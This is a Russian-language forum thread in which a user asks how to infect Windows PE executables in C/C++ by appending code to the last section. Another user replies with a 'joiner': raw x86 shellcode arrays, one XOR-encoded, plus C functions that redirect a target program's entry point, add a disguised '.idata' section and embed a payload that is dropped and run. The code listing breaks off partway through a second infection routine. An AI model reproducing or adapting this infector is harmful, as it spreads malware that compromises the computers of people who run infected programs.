ЗАРАЖЕНИЕ PE-файлов

Тема в разделе "LANGS.C", создана пользователем scalter, 7 июн 2007.

  1. scalter

    scalter New Member

    Публикаций:
    0
    Регистрация:
    7 июн 2007
    Сообщения:
    30
    Приветы всем! Люди, пожалуйста напишите, кто знает, как на С/С++ реализовать заражение PE-файлов добавлением своего кода в последнюю секцию. Как на данном языке это все реализовать? Заранее спасибо.
     
  2. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    vx.netlux.org тебе в помощь. там этого добра дофега
     
  3. wasm_test

    wasm_test wasm test user

    Публикаций:
    0
    Регистрация:
    24 ноя 2006
    Сообщения:
    5.582
    scalter
    А искать не пробовал?
     
  4. scalter

    scalter New Member

    Публикаций:
    0
    Регистрация:
    7 июн 2007
    Сообщения:
    30
    Да, искать пробовал - не нашел, поэтому и здесь. FreeManCPM - спасибо за ссылку, только у меня стоят фильтры, зайти пока не смогу. Еще есть, где можно посмотреть реализацию данной задачи на С/С++?
     
  5. PaCHER

    PaCHER New Member

    Публикаций:
    0
    Регистрация:
    25 мар 2006
    Сообщения:
    852
    scalter
    Да даже на этом форуме :)
    Хреново пробовал. Здесь даже сырсы натив звререй есть.
     
  6. scalter

    scalter New Member

    Публикаций:
    0
    Регистрация:
    7 июн 2007
    Сообщения:
    30
    Блин, ну закинь пожалуйста. они на С?
     
  7. Mental_Mirror

    Mental_Mirror New Member

    Публикаций:
    0
    Регистрация:
    7 май 2007
    Сообщения:
    431
    Код (Text):
    1. /************************************************
    2. *       Standard Joiner by Mental Mirror
    3. ************************************************/
    4. #define OffsetFileSize 9
    5. #define OEPOffset 5
    6.  
    7. #define OffsetFileSize2 38
    8. #define OEPOffset2 30
    9. #define CryptBodyOffset 13
    10.  
    11. unsigned char shellcode[]={
    12.     0xE9, 0xFE, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    13.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    14.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    15.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    16.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    17.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    18.     0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x76, 0x63, 0x45, 0x72, 0x30, 0x31, 0x31, 0x2E, 0x74, 0x6D,
    19.     0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00,
    20.     0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x00, 0x85, 0xC0, 0x0F, 0x84, 0x5F, 0x02, 0x00, 0x00,
    21.     0x8B, 0x48, 0x30, 0x80, 0x39, 0x6B, 0x74, 0x07, 0x80, 0x39, 0x4B, 0x74, 0x02, 0xEB, 0xE7, 0x80,
    22.     0x79, 0x0C, 0x33, 0x74, 0x02, 0xEB, 0xDF, 0x8B, 0x40, 0x18, 0xC3, 0x55, 0x8B, 0xEC, 0xEB, 0x0F,
    23.     0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x41, 0x8B,
    24.     0x4D, 0x0C, 0x8B, 0x75, 0x08, 0x8B, 0xDE, 0x03, 0x76, 0x3C, 0x8D, 0x76, 0x18, 0x8D, 0x76, 0x60,
    25.     0x8B, 0x36, 0x03, 0xF3, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF3, 0x33, 0xD2, 0x8B, 0xC6, 0x8B, 0x36,
    26.     0x03, 0xF3, 0x51, 0x8B, 0x4D, 0x0C, 0x8D, 0xB9, 0xB0, 0x10, 0x40, 0x00, 0x59, 0xB9, 0x0E, 0x00,
    27.     0x00, 0x00, 0xFC, 0xF3, 0xA6, 0x0B, 0xC9, 0x75, 0x02, 0xEB, 0x08, 0x42, 0x83, 0xC0, 0x04, 0x8B,
    28.     0x30, 0xEB, 0xDD, 0x5E, 0x8B, 0xFE, 0x8B, 0x76, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x14, 0x56, 0x2B,
    29.     0x57, 0x10, 0x42, 0x8B, 0x77, 0x1C, 0x03, 0xF3, 0x8B, 0x04, 0x96, 0x03, 0xC3, 0xC9, 0xC2, 0x08,
    30.     0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x00,
    31.     0x47, 0x65, 0x74, 0x54, 0x65, 0x6D, 0x70, 0x50, 0x61, 0x74, 0x68, 0x41, 0x00, 0x56, 0x69, 0x72,
    32.     0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x00, 0x6C, 0x73, 0x74, 0x72, 0x63, 0x61,
    33.     0x74, 0x41, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x41, 0x00, 0x57,
    34.     0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x48, 0x61,
    35.     0x6E, 0x64, 0x6C, 0x65, 0x00, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x46, 0x72, 0x65, 0x65,
    36.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    37.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    38.     0x00, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x56, 0x57, 0x53, 0x55, 0x9C, 0x8B, 0x5D, 0x18, 0xEB,
    39.     0x0F, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00,
    40.     0xE8, 0xB5, 0xFE, 0xFF, 0xFF, 0x53, 0x50, 0xE8, 0xDF, 0xFE, 0xFF, 0xFF, 0x89, 0x45, 0xFC, 0x8B,
    41.     0x5D, 0x10, 0x8B, 0x75, 0x14, 0x8B, 0x7D, 0x0C, 0x8B, 0x45, 0xFC, 0x8B, 0x4D, 0x08, 0x50, 0x51,
    42.     0x57, 0x56, 0xFF, 0xD0, 0x59, 0x89, 0x03, 0x58, 0x83, 0xC3, 0x04, 0x51, 0xB9, 0x1E, 0x00, 0x00,
    43.     0x00, 0x50, 0xB0, 0x00, 0xF2, 0xAE, 0x58, 0x59, 0xE2, 0xE4, 0x9D, 0x5D, 0x5B, 0x5F, 0x5E, 0xC9,
    44.     0xC2, 0x14, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5D, 0x81, 0xED, 0x08, 0x12, 0x40, 0x00, 0xE8,
    45.     0x66, 0xFE, 0xFF, 0xFF, 0x55, 0x50, 0x8D, 0x9D, 0x81, 0x11, 0x40, 0x00, 0x53, 0x8D, 0x9D, 0x21,
    46.     0x11, 0x40, 0x00, 0x53, 0x6A, 0x08, 0xE8, 0x76, 0xFF, 0xFF, 0xFF, 0x6A, 0x40, 0x68, 0x00, 0x30,
    47.     0x00, 0x00, 0x68, 0x00, 0x01, 0x00, 0x00, 0x6A, 0x00, 0xFF, 0x95, 0x89, 0x11, 0x40, 0x00, 0x89,
    48.     0x85, 0x61, 0x10, 0x40, 0x00, 0x50, 0x68, 0x00, 0x01, 0x00, 0x00, 0xFF, 0x95, 0x85, 0x11, 0x40,
    49.     0x00, 0x8D, 0x85, 0x65, 0x10, 0x40, 0x00, 0x50, 0xFF, 0xB5, 0x61, 0x10, 0x40, 0x00, 0xFF, 0x95,
    50.     0x8D, 0x11, 0x40, 0x00, 0x6A, 0x00, 0x68, 0x80, 0x00, 0x00, 0x00, 0x6A, 0x02, 0x6A, 0x00, 0x6A,
    51.     0x00, 0x68, 0xFF, 0x01, 0x1F, 0x00, 0xFF, 0xB5, 0x61, 0x10, 0x40, 0x00, 0xFF, 0x95, 0x91, 0x11,
    52.     0x40, 0x00, 0x89, 0x85, 0x72, 0x10, 0x40, 0x00, 0x6A, 0x00, 0x8D, 0x85, 0x76, 0x10, 0x40, 0x00,
    53.     0x50, 0xFF, 0xB5, 0x09, 0x10, 0x40, 0x00, 0x8D, 0x85, 0xF5, 0x12, 0x40, 0x00, 0x50, 0xFF, 0xB5,
    54.     0x72, 0x10, 0x40, 0x00, 0xFF, 0x95, 0x95, 0x11, 0x40, 0x00, 0xFF, 0xB5, 0x72, 0x10, 0x40, 0x00,
    55.     0xFF, 0x95, 0x99, 0x11, 0x40, 0x00, 0x8D, 0x85, 0x0D, 0x10, 0x40, 0x00, 0x50, 0x8D, 0x85, 0x1D,
    56.     0x10, 0x40, 0x00, 0x50, 0xB9, 0x07, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xE2, 0xFC, 0xFF, 0xB5, 0x61,
    57.     0x10, 0x40, 0x00, 0xFF, 0x95, 0x81, 0x11, 0x40, 0x00, 0x68, 0x00, 0x80, 0x00, 0x00, 0x68, 0x00,
    58.     0x01, 0x00, 0x00, 0xFF, 0xB5, 0x61, 0x10, 0x40, 0x00, 0xFF, 0x95, 0x9D, 0x11, 0x40, 0x00, 0xFF,
    59.     0xA5, 0x05, 0x10, 0x40, 0x00
    60. };
    61.  
    62.  
    63. unsigned char shellcode2[]={
    64.     0xE8, 0x00, 0x00, 0x00, 0x00, 0x5D, 0x81, 0xED, 0x05, 0x10, 0x40, 0x00, 0xB9, 0x03, 0x03, 0x00,
    65.     0x00, 0x8D, 0x85, 0x1D, 0x10, 0x40, 0x00, 0x80, 0x30, 0x66, 0x40, 0xE2, 0xFA, 0x8F, 0x6A, 0x64,
    66.     0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
    67.     0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
    68.     0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
    69.     0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
    70.     0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
    71.     0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
    72.     0x66, 0x66, 0x3A, 0x15, 0x13, 0x16, 0x03, 0x14, 0x0D, 0x03, 0x1F, 0x0A, 0x09, 0x01, 0x01, 0x03,
    73.     0x14, 0x48, 0x03, 0x1E, 0x03, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x02, 0xC7,
    74.     0x56, 0x66, 0x66, 0x66, 0xED, 0x26, 0x6A, 0xED, 0x26, 0x6A, 0xED, 0x66, 0xE3, 0xA6, 0x69, 0xE2,
    75.     0x00, 0x64, 0x66, 0x66, 0xED, 0x2E, 0x56, 0xE6, 0x5F, 0x0D, 0x12, 0x61, 0xE6, 0x5F, 0x2D, 0x12,
    76.     0x64, 0x8D, 0x81, 0xE6, 0x1F, 0x6A, 0x55, 0x12, 0x64, 0x8D, 0xB9, 0xED, 0x26, 0x7E, 0xA5, 0x33,
    77.     0xED, 0x8A, 0x8D, 0x69, 0x21, 0x03, 0x12, 0x36, 0x14, 0x09, 0x05, 0x27, 0x02, 0x02, 0x14, 0x03,
    78.     0x15, 0x15, 0x27, 0xED, 0x2B, 0x6A, 0xED, 0x13, 0x6E, 0xED, 0xB8, 0x65, 0x10, 0x5A, 0xEB, 0x10,
    79.     0x7E, 0xEB, 0x10, 0x06, 0xED, 0x50, 0x65, 0x95, 0x30, 0xED, 0x10, 0x46, 0x65, 0x95, 0x55, 0xB4,
    80.     0xED, 0xA0, 0xED, 0x50, 0x65, 0x95, 0x37, 0xED, 0x2B, 0x6A, 0xEB, 0xDF, 0xB2, 0x76, 0x26, 0x66,
    81.     0x3F, 0xDF, 0x68, 0x66, 0x66, 0x66, 0x9A, 0x95, 0xC0, 0x6D, 0xAF, 0x13, 0x64, 0x8D, 0x6E, 0x24,
    82.     0xE5, 0xA6, 0x62, 0xED, 0x56, 0x8D, 0xBB, 0x38, 0xED, 0x98, 0xED, 0x10, 0x42, 0x65, 0x95, 0x00,
    83.     0xED, 0x72, 0x30, 0x4D, 0x31, 0x76, 0x24, 0xED, 0x11, 0x7A, 0x65, 0x95, 0xED, 0x62, 0xF0, 0x65,
    84.     0xA5, 0xAF, 0xA4, 0x6E, 0x66, 0x25, 0x14, 0x03, 0x07, 0x12, 0x03, 0x36, 0x14, 0x09, 0x05, 0x03,
    85.     0x15, 0x15, 0x27, 0x66, 0x21, 0x03, 0x12, 0x35, 0x1F, 0x15, 0x12, 0x03, 0x0B, 0x22, 0x0F, 0x14,
    86.     0x03, 0x05, 0x12, 0x09, 0x14, 0x1F, 0x27, 0x66, 0x30, 0x0F, 0x14, 0x12, 0x13, 0x07, 0x0A, 0x27,
    87.     0x0A, 0x0A, 0x09, 0x05, 0x66, 0x0A, 0x15, 0x12, 0x14, 0x05, 0x07, 0x12, 0x27, 0x66, 0x25, 0x14,
    88.     0x03, 0x07, 0x12, 0x03, 0x20, 0x0F, 0x0A, 0x03, 0x27, 0x66, 0x31, 0x14, 0x0F, 0x12, 0x03, 0x20,
    89.     0x0F, 0x0A, 0x03, 0x66, 0x25, 0x0A, 0x09, 0x15, 0x03, 0x2E, 0x07, 0x08, 0x02, 0x0A, 0x03, 0x66,
    90.     0x30, 0x0F, 0x14, 0x12, 0x13, 0x07, 0x0A, 0x20, 0x14, 0x03, 0x03, 0x66, 0x66, 0x66, 0x66, 0x66,
    91.     0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,
    92.     0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x33, 0xED, 0x8A, 0xE5,
    93.     0xA2, 0x9A, 0x30, 0x31, 0x35, 0x33, 0xFA, 0xED, 0x3B, 0x7E, 0x8D, 0x69, 0x21, 0x03, 0x12, 0x36,
    94.     0x14, 0x09, 0x05, 0x27, 0x02, 0x02, 0x14, 0x03, 0x15, 0x15, 0x66, 0x8E, 0xC8, 0x98, 0x99, 0x99,
    95.     0x35, 0x36, 0x8E, 0xBE, 0x98, 0x99, 0x99, 0xEF, 0x23, 0x9A, 0xED, 0x3B, 0x76, 0xED, 0x13, 0x72,
    96.     0xED, 0x1B, 0x6A, 0xED, 0x23, 0x9A, 0xED, 0x2B, 0x6E, 0x36, 0x37, 0x31, 0x30, 0x99, 0xB6, 0x3F,
    97.     0xEF, 0x65, 0x3E, 0xE5, 0xA5, 0x62, 0x37, 0xDF, 0x78, 0x66, 0x66, 0x66, 0x36, 0xD6, 0x66, 0x94,
    98.     0xC8, 0x3E, 0x3F, 0x84, 0x82, 0xFB, 0x3B, 0x3D, 0x39, 0x38, 0xAF, 0xA4, 0x72, 0x66, 0x8E, 0x66,
    99.     0x66, 0x66, 0x66, 0x3B, 0xE7, 0x8B, 0x55, 0x74, 0x26, 0x66, 0x8E, 0x39, 0x98, 0x99, 0x99, 0x33,
    100.     0x36, 0xEB, 0xFB, 0xCA, 0x77, 0x26, 0x66, 0x35, 0xEB, 0xFB, 0x23, 0x77, 0x26, 0x66, 0x35, 0x0C,
    101.     0x6E, 0x8E, 0x10, 0x99, 0x99, 0x99, 0x0C, 0x26, 0x0E, 0x66, 0x56, 0x66, 0x66, 0x0E, 0x66, 0x67,
    102.     0x66, 0x66, 0x0C, 0x66, 0x99, 0xF3, 0xD2, 0x77, 0x26, 0x66, 0xEF, 0xE3, 0x18, 0x76, 0x26, 0x66,
    103.     0x0E, 0x66, 0x67, 0x66, 0x66, 0x36, 0x99, 0xF3, 0xD6, 0x77, 0x26, 0x66, 0xEB, 0xE3, 0xE4, 0x76,
    104.     0x26, 0x66, 0x36, 0x99, 0xD3, 0x18, 0x76, 0x26, 0x66, 0x99, 0xF3, 0xDE, 0x77, 0x26, 0x66, 0x0C,
    105.     0x66, 0x0E, 0xE6, 0x66, 0x66, 0x66, 0x0C, 0x64, 0x0C, 0x66, 0x0C, 0x66, 0x0E, 0x99, 0x67, 0x79,
    106.     0x66, 0x99, 0xD3, 0x18, 0x76, 0x26, 0x66, 0x99, 0xF3, 0xDA, 0x77, 0x26, 0x66, 0xEF, 0xE3, 0xF0,
    107.     0x76, 0x26, 0x66, 0x0C, 0x66, 0xEB, 0xE3, 0xFC, 0x76, 0x26, 0x66, 0x36, 0x99, 0xD3, 0x40, 0x76,
    108.     0x26, 0x66, 0xEB, 0xE3, 0x46, 0x75, 0x26, 0x66, 0x36, 0x99, 0xD3, 0xF0, 0x76, 0x26, 0x66, 0x99,
    109.     0xF3, 0xA6, 0x77, 0x26, 0x66, 0x99, 0xD3, 0xF0, 0x76, 0x26, 0x66, 0x99, 0xF3, 0xA2, 0x77, 0x26,
    110.     0x66, 0xEB, 0xE3, 0x4C, 0x76, 0x26, 0x66, 0x36, 0xEB, 0xE3, 0x5C, 0x76, 0x26, 0x66, 0x36, 0xDF,
    111.     0x61, 0x66, 0x66, 0x66, 0x0C, 0x66, 0x84, 0x9A, 0x99, 0xD3, 0x18, 0x76, 0x26, 0x66, 0x99, 0xF3,
    112.     0xCA, 0x77, 0x26, 0x66, 0x0E, 0x66, 0xE6, 0x66, 0x66, 0x0E, 0x66, 0x67, 0x66, 0x66, 0x99, 0xD3,
    113.     0x18, 0x76, 0x26, 0x66, 0x99, 0xF3, 0xAE, 0x77, 0x26, 0x66, 0x99, 0xC3, 0x44, 0x76, 0x26, 0x66
    114. };
    115.  
    116. /*********************************
    117. Мэппинг файла в память
    118. Возвр. NULL если отказ иначе адрес
    119. *********************************/
    120. PVOID MapFile(PCHAR FileName,DWORD Size)
    121. {
    122.     HANDLE hFile = CreateFile(FileName,
    123.         GENERIC_WRITE | GENERIC_READ,
    124.         FILE_SHARE_READ | FILE_SHARE_WRITE,
    125.         NULL,
    126.         OPEN_EXISTING,
    127.         FILE_ATTRIBUTE_NORMAL,
    128.         NULL);
    129.     if (hFile==INVALID_HANDLE_VALUE) return NULL;
    130.     HANDLE hMapping = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,Size,NULL);
    131.     if (hMapping==NULL)
    132.     {
    133.         CloseHandle(hFile);
    134.         return FALSE;
    135.     }
    136.     LPVOID hMap = MapViewOfFile(hMapping,FILE_MAP_ALL_ACCESS,0,0,0);
    137.     if (hMap==NULL)
    138.     {
    139.         CloseHandle(hMapping);
    140.         CloseHandle(hFile);
    141.         return FALSE;
    142.     }
    143.     CloseHandle(hFile);
    144.     CloseHandle(hMapping);
    145.     return hMap;
    146. }
    147.  
    148. /*********************************
    149. Мэппинг файла в память
    150. Возвр. NULL если отказ иначе адрес
    151. *********************************/
    152. PVOID MapFileRead(PCHAR FileName,DWORD Size)
    153. {
    154.     HANDLE hFile = CreateFile(FileName,
    155.         GENERIC_READ,
    156.         0,
    157.         NULL,
    158.         OPEN_EXISTING,
    159.         FILE_ATTRIBUTE_NORMAL,
    160.         NULL);
    161.     if (hFile==INVALID_HANDLE_VALUE) return NULL;
    162.     HANDLE hMapping = CreateFileMapping(hFile,NULL,PAGE_READONLY,0,Size,NULL);
    163.     if (hMapping==NULL)
    164.     {
    165.         CloseHandle(hFile);
    166.         return FALSE;
    167.     }
    168.     LPVOID hMap = MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0);
    169.     if (hMap==NULL)
    170.     {
    171.         CloseHandle(hMapping);
    172.         CloseHandle(hFile);
    173.         return FALSE;
    174.     }
    175.     CloseHandle(hFile);
    176.     CloseHandle(hMapping);
    177.     return hMap;
    178. }
    179. /*********************************
    180. Выравнивание вверх и вниз
    181. *********************************/
    182. #define ALIGN_DOWN(x, align)            (x & ~(align-1))
    183. #define ALIGN_UP(x, align)              ((x & (align-1))?ALIGN_DOWN(x,align)+align:x)
    184. /*********************************
    185. Получение адреса PE-заголовка
    186. *********************************/
    187. PIMAGE_NT_HEADERS GetPeHeader(PVOID pMap)
    188. {
    189.     PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pMap;//Дос заголовок
    190.     return (PIMAGE_NT_HEADERS)((DWORD)pMap + pDos->e_lfanew); //PE заголовок  
    191. }
    192. /*********************************
    193. Получение файлового смещения
    194. *********************************/
    195. DWORD GetFileAlignment(PVOID pMap)
    196. {
    197.     PIMAGE_NT_HEADERS pNt = GetPeHeader(pMap);
    198.     return pNt->OptionalHeader.FileAlignment;
    199. }
    200. /*********************************
    201. Получение таблицы секций
    202. *********************************/
    203. PIMAGE_SECTION_HEADER GetSectionTable(PVOID pMap)
    204. {
    205.     PIMAGE_NT_HEADERS pNt = GetPeHeader(pMap);
    206.     return (PIMAGE_SECTION_HEADER)((DWORD)pNt + sizeof(IMAGE_NT_HEADERS));
    207. }
    208.  
    209. /*********************************
    210. Файл уже заражен?
    211. *********************************/
    212. BOOL IsInfect(PCHAR File)
    213. {
    214.     PVOID pExe = MapFile(File,0);//Файл в память
    215.     if (pExe==NULL) return 0;
    216.     PIMAGE_NT_HEADERS pNt = GetPeHeader(pExe);//PE заголовок
    217.     PIMAGE_SECTION_HEADER pSection = GetSectionTable(pExe);//Таблица секций
    218.     PIMAGE_SECTION_HEADER pLastSection = pSection;
    219.     //Ищем последнюю секцию виртуально и физически
    220.     for (int i=0;i<pNt->FileHeader.NumberOfSections;i++)
    221.     {
    222.         if (pSection->PointerToRawData>pLastSection->PointerToRawData && pSection->VirtualAddress>pLastSection->VirtualAddress)
    223.         {
    224.             pLastSection = pSection;
    225.         }
    226.         pSection++;
    227.     }
    228.     if (lstrcmp((const char*)pLastSection->Name,(const char*)".idata")==0) return 1; else return 0;
    229. }
    230.  
    231. /*********************************
    232. Правильный PE?
    233. *********************************/
    234. BOOL IsPe(PCHAR pMap)
    235. {
    236.     try
    237.     {
    238.         if (*(PWORD)pMap=='ZM')
    239.         {
    240.             PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pMap;//Дос заголовок
    241.             if ( ((PIMAGE_NT_HEADERS)((DWORD)pMap + pDos->e_lfanew))->Signature == 'EP')
    242.                 return TRUE;
    243.         }
    244.     }
    245.     catch(...)
    246.     {
    247.         return FALSE;
    248.     }
    249.     return FALSE;
    250. }
    251.  
    252. /********************************************
    253. Заражение одного файла другим
    254. ********************************************/
    255. BOOL Infect(PCHAR To,PCHAR From)
    256. {
    257.     PVOID pExe = MapFile(To,0);//Файл в память
    258.     if (pExe==NULL) return 0;
    259.     if (!IsPe((char*)pExe)) return 0;
    260.     DWORD FileAlignment = GetFileAlignment(pExe);//Файловое выравнивание
    261.     //Эта проекция больше не нужна
    262.     UnmapViewOfFile(pExe);
    263.     //Расширяем последнюю секцию
    264.     HANDLE hFile = CreateFile(From,
    265.         GENERIC_WRITE | GENERIC_READ,
    266.         FILE_SHARE_READ | FILE_SHARE_WRITE,
    267.         NULL,
    268.         OPEN_EXISTING,
    269.         FILE_ATTRIBUTE_NORMAL,
    270.         NULL);
    271.     if (hFile==INVALID_HANDLE_VALUE) return 0;
    272.     //Размер вредоносного файла
    273.     DWORD FileSize = GetFileSize(hFile,0);
    274.     CloseHandle(hFile);
    275.     DWORD FileSizeFrom = FileSize;
    276.     //Размер внедряемого кода
    277.     FileSize+=sizeof(shellcode);
    278.     FileSize = ALIGN_UP(FileSize,FileAlignment);//На сколько увеличиваем размер файла
    279.     //Для получения размера файла
    280.     HANDLE hFile2 = CreateFile(To,
    281.         GENERIC_WRITE | GENERIC_READ,
    282.         FILE_SHARE_READ | FILE_SHARE_WRITE,
    283.         NULL,
    284.         OPEN_EXISTING,
    285.         FILE_ATTRIBUTE_NORMAL,
    286.         NULL);
    287.     if (hFile2==INVALID_HANDLE_VALUE) return 0;
    288.     //Расчитываем новый размер файла
    289.     DWORD NewSize = GetFileSize(hFile2,0);
    290.     NewSize+=FileSize;
    291.     CloseHandle(hFile2);
    292.     pExe = MapFile(To,NewSize+FileAlignment);//Новая проекция с нужным размером
    293.     if (pExe==NULL) return 0;
    294.     PIMAGE_NT_HEADERS pNt = GetPeHeader(pExe);//PE заголовок
    295.     PIMAGE_SECTION_HEADER pSection = GetSectionTable(pExe);//Таблица секций
    296.     PIMAGE_SECTION_HEADER pLastSection = pSection;
    297.     //Ищем последнюю секцию виртуально и физически
    298.     for (int i=0;i<pNt->FileHeader.NumberOfSections;i++)
    299.     {
    300.         if (pSection->PointerToRawData>pLastSection->PointerToRawData && pSection->VirtualAddress>pLastSection->VirtualAddress)
    301.         {
    302.             pLastSection = pSection;
    303.         }
    304.         pSection++;
    305.     }
    306.     //Трем bound-импорты
    307.     pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
    308.     pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
    309.     //Если размер равен нулю, то облом
    310.     if (pLastSection->SizeOfRawData==0) return FALSE;
    311.     DWORD OEP = pNt->OptionalHeader.ImageBase + pNt->OptionalHeader.AddressOfEntryPoint;
    312.     //Начало промежутка для шелкодеса
    313.     DWORD ToWrite = (DWORD)pExe + pLastSection->PointerToRawData + pLastSection->SizeOfRawData;
    314.     //Поля новой секции
    315.     pNt->OptionalHeader.AddressOfEntryPoint = pLastSection->VirtualAddress + ALIGN_UP(pLastSection->SizeOfRawData,FileAlignment);
    316.     pLastSection->SizeOfRawData = pLastSection->SizeOfRawData + FileSize;
    317.     pLastSection->Characteristics = 0xa0000020;
    318.     pLastSection->Misc.VirtualSize = pLastSection->Misc.VirtualSize + ALIGN_UP(FileSize,4096);
    319.     pNt->OptionalHeader.SizeOfImage = pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize + 4096;
    320.     pNt->OptionalHeader.SizeOfCode = pNt->OptionalHeader.SizeOfImage;
    321.     //Добавляем новую секцию
    322.     pNt->FileHeader.NumberOfSections++;
    323.     PIMAGE_SECTION_HEADER pNewSection = pLastSection;
    324.     pNewSection++;
    325.     pNewSection->Characteristics = 0xe00000e0;
    326.     pNewSection->Misc.VirtualSize = 4096;
    327.     lstrcpy((char*)pNewSection->Name,(char*)".idata");
    328.     pNewSection->NumberOfLinenumbers = 0;
    329.     pNewSection->NumberOfRelocations = 0;
    330.     pNewSection->PointerToLinenumbers = 0;
    331.     pNewSection->PointerToRawData = ALIGN_UP(pLastSection->PointerToRawData + pLastSection->SizeOfRawData,FileAlignment);
    332.     pNewSection->PointerToRelocations = 0;
    333.     pNewSection->SizeOfRawData = FileAlignment;
    334.     pNewSection->VirtualAddress = ALIGN_UP(pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize,4096);
    335.     //Правим шелкодес
    336.     _asm
    337.     {
    338.         lea eax,shellcode
    339.         mov edx,FileSizeFrom
    340.         mov dword ptr [eax+OffsetFileSize],edx
    341.         mov edx,OEP
    342.         mov dword ptr [eax+OEPOffset],edx
    343.     }
    344.     //Записываем шелкодес
    345.     memcpy((PVOID)ToWrite,shellcode,sizeof(shellcode));
    346.     ToWrite+=sizeof(shellcode);
    347.     PVOID MapFileFrom = MapFile(From,0);
    348.     if (MapFileFrom==NULL) return 0;
    349.     if (!IsPe((char*)MapFileFrom)) return 0;
    350.     memcpy((PVOID)ToWrite,MapFileFrom,FileSizeFrom);
    351.     return TRUE;
    352. }*/
    353.  
    354. /********************************************
    355. Заражение одного файла другим с шифрованием
    356. ********************************************/
    357. BOOL Infect2(PCHAR To,PCHAR From)
    358. {
    359.     PVOID pExe = MapFile(To,0);//Файл в память
    360.     if (pExe==NULL) return 0;
    361.     if (!IsPe((char*)pExe))
    362.     {
    363.         UnmapViewOfFile(pExe);
    364.         return 0;
    365.     }
    366.     DWORD FileAlignment = GetFileAlignment(pExe);//Файловое выравнивание
    367.     //Эта проекция больше не нужна
    368.     UnmapViewOfFile(pExe);
    369.     //Расширяем последнюю секцию
    370.     HANDLE hFile = CreateFile(From,
    371.         GENERIC_READ,
    372.         0,
    373.         NULL,
    374.         OPEN_EXISTING,
    375.         FILE_ATTRIBUTE_NORMAL,
    376.         NULL);
    377.     if (hFile==INVALID_HANDLE_VALUE) return 0;
    378.     //Размер вредоносного файла
    379.     DWORD FileSize = GetFileSize(hFile,0);
    380.     CloseHandle(hFile);
    381.     DWORD FileSizeFrom = FileSize;
